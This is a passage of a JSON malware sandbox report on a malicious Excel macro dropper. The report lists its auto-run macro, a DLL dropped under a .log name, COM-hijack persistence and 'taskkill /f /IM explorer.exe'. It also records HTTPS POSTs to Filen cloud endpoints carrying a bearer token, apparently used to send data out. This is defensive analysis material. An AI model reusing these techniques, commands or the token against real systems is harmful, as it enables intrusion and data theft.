libraries","description":"\"EXCEL.EXE\" loaded module \"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\RICHED20.DLL\" at 71D40000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"explorer.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 662F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"taskkill.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 8BA10000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 8BA10000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"taskkill.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 99590000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 99590000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 98510000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"explorer.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 73270000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"taskkill.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 9B3A0000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 9B3A0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"EXCEL.EXE\" called \"ADODB.Stream.6.0.CreateObject\" ... \n \"EXCEL.EXE\" called \"ADODB.Stream.6.0.Type\" ... \n \"EXCEL.EXE\" called \"ADODB.Stream.6.0.LoadFromFile\" ... \n \"EXCEL.EXE\" called \"ADODB.Stream.6.0.Read\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\".xls\" was detected as \"Microsoft Compound\" and name: \"Archive\"\n \".xls\" was detected as \"Microsoft Compound\" and name: \"Data\"\n \"DEFAULT-20241101-1112.log\" was detected as \"Microsoft Compound\" and name: \"Archive\"\n \"DEFAULT-20241101-1112.log\" was detected as \"Microsoft Compound\" and name: \"Data\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\system32\\taskkill.exe /f /IM explorer.exe\" [Source: 00000000-00004304-00000C45-311282937942]\n Observed system executable string:\"%WINDIR%\\explorer.exe\" [Source: 00000000-00004304-00000C45-312489212844]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"taskkill.exe\" (UID: 00000000-00009888) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-8LD9T6N\", WecVersionForRosebud.10D0=\"4\"\"\n Process \"taskkill.exe\" (UID: 00000000-00009888) was launched with modified environment variables: \"LOCALAPPDATA, PROCESSOR_ARCHITECTURE, APPDATA, USERNAME, CommonProgramFiles, HOMEPATH, TEMP, USERPROFILE, TMP, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"taskkill.exe\" (UID: 00000000-00009888) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"taskkill.exe\" (UID: 00000000-00001852) was launched with new environment variables: \"PROMPT=\"$P$G\", EFC_5236=\"1\", USERDNSDOMAIN=\"DESKTOP-8LD9T6N\", WecVersionForRosebud.10D0=\"4\"\"\n Process \"taskkill.exe\" (UID: 00000000-00001852) was launched with modified environment variables: \"PSModulePath, Path, PATHEXT, NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"gateway.filen-3.net\"\n \"gateway.filen.io\"\n \"gateway.filen.net\"\n \"ingest.filen-3.net\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"taskkill.exe\" with commandline \"/f /IM explorer.exe\" (UID: 00000000-00009888)\n Spawned process \"explorer.exe\" (UID: 00000000-00004296)\n Spawned process \"taskkill.exe\" with commandline \"/f /IM explorer.exe\" (UID: 00000000-00001852)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=R13, O=Let's Encrypt, C=US\" (SHA1: 7F:AD:73:CF:4D:51:C3:D1:34:EF:4C:CC:52:5A:15:6D:1E:5E:AB:52; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X1, O=Internet Security Research Group, C=US\" (SHA1: 22:FF:89:58:65:61:FC:2D:52:F7:74:91:E9:F1:EF:F1:B8:0B:E3:3E; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Tries to open documents files","description":"\"EXCEL.EXE\" opens a file C:\\_.xls (UID: 00000000-00004304)\n \"EXCEL.EXE\" opens a file C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\_.xls (UID: 00000000-00004304)","origin":"API Call","mitre_attack_id":"T1005","relevance":2,"id":"api-248","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"EXCEL.EXE\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\DEFAULT-20241101-1112.log\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates/edits LNK file (Windows shortcut)","description":"\"EXCEL.EXE\" writes to LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\_.xls.LNK\"\n \"EXCEL.EXE\" writes to LNK file \"%APPDATA%\\Microsoft\\Office\\Recent\\_.xls.LNK\"","origin":"API Call","mitre_attack_id":"T1547.009","relevance":3,"id":"api-204","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$2d","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops executable files","description":"\"DEFAULT-20241101-1112.log\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections\"- Location: [%TEMP%\\DEFAULT-20241101-1112.log]- [targetUID: 00000000-00004304]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Installation/Persistence","name":"Modifies COM object registry keys","description":"\"EXCEL.EXE\" (Path: \"HKCU\\CLSID\\{30D49246-D217-465F-B00B-AC9DDD652EB7}\\INPROCSERVER32\"; Key: \"(DEFAULT)\"; Value: \"%appdata%\\Microsoft\\Internet Explorer\\UserData\\Low\\DB\\uimanager.dll\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-182","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens a handle to the specified process","description":"\"EXCEL.EXE\" opens a process \"C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE\" (UID: 00000000-00004304)\n \"EXCEL.EXE\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00004304)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-237","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$30","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"EXCEL.EXE\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat\"\n \"EXCEL.EXE\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\DEFAULT-20241101-1112.log\"\n \"EXCEL.EXE\" writes a file \"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat\"\n \"EXCEL.EXE\" writes a file \"%TEMP%\\DEFAULT-20241101-1112.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"WNetGetConnection\"; Source: \"00000000-00004304-00000C2B-3526285192\")\n Found reference to API \"WNetAddConnection3W\" (Indicator: \"WNetAddConnection\"; Source: \"00000000-00004304-00000C2B-3526285242\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /v3/dir/exists\"\n Found http requests in header \"POST /v3/dir/create\"\n Found http requests in header \"POST /v3/upload/done\"\n Found http requests in header \"POST /v3/dir/content\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"as7.am\"\n Heuristic match: \"ingest.filen.io\"\n Heuristic match: \"createfile_kas.nl\"\n Heuristic match: \"thisworkbook.name\"\n Heuristic match: \"sfol.name\"\n Pattern match: \"j.ntv/@e%3c5m'.m-xzg\"\n Heuristic match: \"gateway.filen.net\"\n Heuristic match: \"gateway.filen-3.net\"\n Heuristic match: \"gateway.filen.io\"\n Heuristic match: \"ingest.filen-3.net\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$31","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"gateway.filen-3.net\" has high entropy\n Contacted domain: \"gateway.filen.io\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS POST request to https://gateway.filen.net/v3/dir/exists\n Found HTTPS POST request to https://gateway.filen-3.net/v3/dir/create\n Found HTTPS POST request to https://gateway.filen-3.net/v3/upload/done\n Found HTTPS POST request to https://gateway.filen.io/v3/dir/content","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"gateway.filen.net\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"146.0.41.234\" on port \"443\"\n HTTPS traffic to \"146.0.41.231\" on port \"443\"\n HTTPS traffic to \"146.0.41.208\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to monitor clipboard data (API string)","description":"Found string \"AddClipboardFormatListener\" (Source: \"00000000-00004304-00000C2B-3523912497\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-925","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"explorer.exe\" loaded module \"%WINDIR%\\System32\\samlib.dll\" at 8EB70000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 8EBA0000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"EXCEL.EXE\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"EXCEL.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\LANMANWORKSTATION\\PARAMETERS\"; Key: \"RPCCACHETIMEOUT\"; Value: \"\")\n \"EXCEL.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\TASKKILL.EXE\"; Value: \"\")\n \"EXCEL.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\EXPLORER.EXE\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$32","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"\"DEFAULT-20241101-1112.log\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections\"- Location: [%TEMP%\\DEFAULT-20241101-1112.log]- [targetUID: 00000000-00004304]","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops binary executable file with an unexpected extension","description":"\"DEFAULT-20241101-1112.log\" has unusual extension","origin":"Binary File","mitre_attack_id":"T1036.008","relevance":3,"id":"binary-75","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"DEFAULT-20241101-1112.log\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections\"- Location: [%TEMP%\\DEFAULT-20241101-1112.log]- [targetUID: 00000000-00004304]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"_.xls.LNK\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\_.xls.LNK]- [targetUID: 00000000-00004304]\n Dropped file: \"icon.png\" - Location: [%APPDATA%\\Microsoft\\Network\\Cache\\icon.png]- [targetUID: 00000000-00004304]\n Dropped file: \"index.dat\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\index.dat]- [targetUID: 00000000-00004304]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"icon.png\" has type \"PNG image data 516 x 354 8-bit/color RGBA non-interlaced\" and extension \"png\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Contains embedded VBA macros with ability to perform xor operation","description":"Found suspicious keyword \"xor\" which indicates: \"May perform xor operation\"","origin":"Static Parser","mitre_attack_id":"T1573","relevance":3,"id":"static-127","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains embedded VBA macros with ability to read system environment variables","description":"Found suspicious keyword \"Environ\" which indicates: \"May read system environment variables\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":5,"id":"static-102","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Found URL in decoded VBA string","description":"Heuristic match: \"ingest.filen.io\"\n Heuristic match: \"createFile_kas.nL\"\n Heuristic match: \"ThisWorkbook.Name\"\n Heuristic match: \"sfol.Name\"","origin":"File/Memory","relevance":10,"id":"string-18","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: msoffice/malicious_confidence_70% (D)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"5/26 Antivirus vendors marked sample as malicious (19% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"General","name":"Contains embedded VBA macros with ability to perform file operations","description":"Found suspicious keyword \"ADODB.Stream\" which indicates: \"May try to create ADOBE Stream object\"","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-104","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$33","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"Network Related","name":"Application communicates to suspicious domain","description":"Contacted Domain: \"filen.net\" has been identified as suspicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-89","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"Network Related","name":"Found HTTP POST request without a User Agent","description":"\"POST /v3/dir/exists HTTP/1.1\nAccept: application/json\nAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV\nContent-Type: application/json\nHost: gateway.filen.net\nContent-Length: 105\nConnection: Keep-Alive\"\n \"POST /v3/dir/create HTTP/1.1\nAccept: application/json\nAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV\nContent-Type: application/json\nHost: gateway.filen-3.net\nContent-Length: 228\nConnection: Keep-Alive\"\n \"POST /v3/upload/done HTTP/1.1\nAccept: application/json\nAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV\nContent-Type: application/json\nHost: gateway.filen-3.net\nContent-Length: 652\nConnection: Keep-Alive\"\n \"POST /v3/dir/content HTTP/1.1\nAccept: application/json\nAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV\nContent-Type: application/json\nHost: gateway.filen.io\nContent-Length: 66\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":7,"id":"network-42","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"Network Related","name":"POSTs data to a web server (HTTPS)","description":"$34","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-67","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 146.0.41.234 on port 443 is sent without HTTP header\n TCP traffic to 146.0.41.231 on port 443 is sent without HTTP header\n TCP traffic to 146.0.41.208 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\explorer.exe\" connects to 146.0.41.234 on port 443 (TCP)\n Process \"%WINDIR%\\explorer.exe\" connects to 146.0.41.231 on port 443 (TCP); Domain: \"gateway.filen.net\"\n Process \"%WINDIR%\\explorer.exe\" connects to 146.0.41.208 on port 443 (TCP)","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"Found suspicious keyword \"Chr\" which indicates: \"May attempt to obfuscate specific strings (use option --deobf to deobfuscate)\"\n Found suspicious keyword \"CreateObject\" which indicates: \"May create an OLE object\"\n Found suspicious keyword \"StrReverse\" which indicates: \"May attempt to obfuscate specific strings (use option --deobf to deobfuscate)\"\n Found suspicious keyword \"CopyFile\" which indicates: \"May copy a file\"\n Found suspicious keyword \"Environ\" which indicates: \"May read system environment variables\"\n Found suspicious keyword \"ADODB.Stream\" which indicates: \"May create a text file\"\n Found suspicious keyword \"Xor\" which indicates: \"May attempt to obfuscate specific strings (use option --deobf to deobfuscate)\"\n Found suspicious keyword \"Open\" which indicates: \"May open a file\"\n Found suspicious keyword \"Lib\" which indicates: \"May run code from a DLL\"\n Found suspicious keyword \"RegCloseKey\" which indicates: \"May read or write registry keys\"","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"$35","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Terminates other processes using tskill/taskkill","description":"Process \"taskkill.exe\" with commandline \"/f /IM explorer.exe\" (UID: 00000000-00009888)\n Process \"taskkill.exe\" with commandline \"/f /IM explorer.exe\" (UID: 00000000-00001852)","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":9,"id":"target-9","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"explorer.exe\" connects to 146.0.41.234:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","mitre_attack_id":"T1055","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"Workbook_Open\" which indicates: \"Runs when the Excel Workbook is opened\"","origin":"Static Parser","mitre_attack_id":"T1137","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Document analysis contacts a domain","description":"Often seen on documents with macro droppers\n embedded files or exploits","origin":"Indicator Combinations","relevance":3,"id":"summary-1","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]}]},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":21,"imported_dlls_count":319,"dropped_files_count":0,"extracted_files_count":5,"files_written_count":19,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":4,"contacted_urls_count":4,"http_requests_count":4},"behavior_tags":["suspicious"],"sample_flags":["Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"6a5380edae4f08ab5607a463","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"MSOffice.Agent","contacted_countries":["DEU"],"submit_name":"Прайс.xls","analysis_start_time":"2026-07-12T11:56:30+00:00","indicators_count":{"informative":65,"suspicious":18,"malicious":6},"tags":["Network Traffic","Extracted Files","Sample 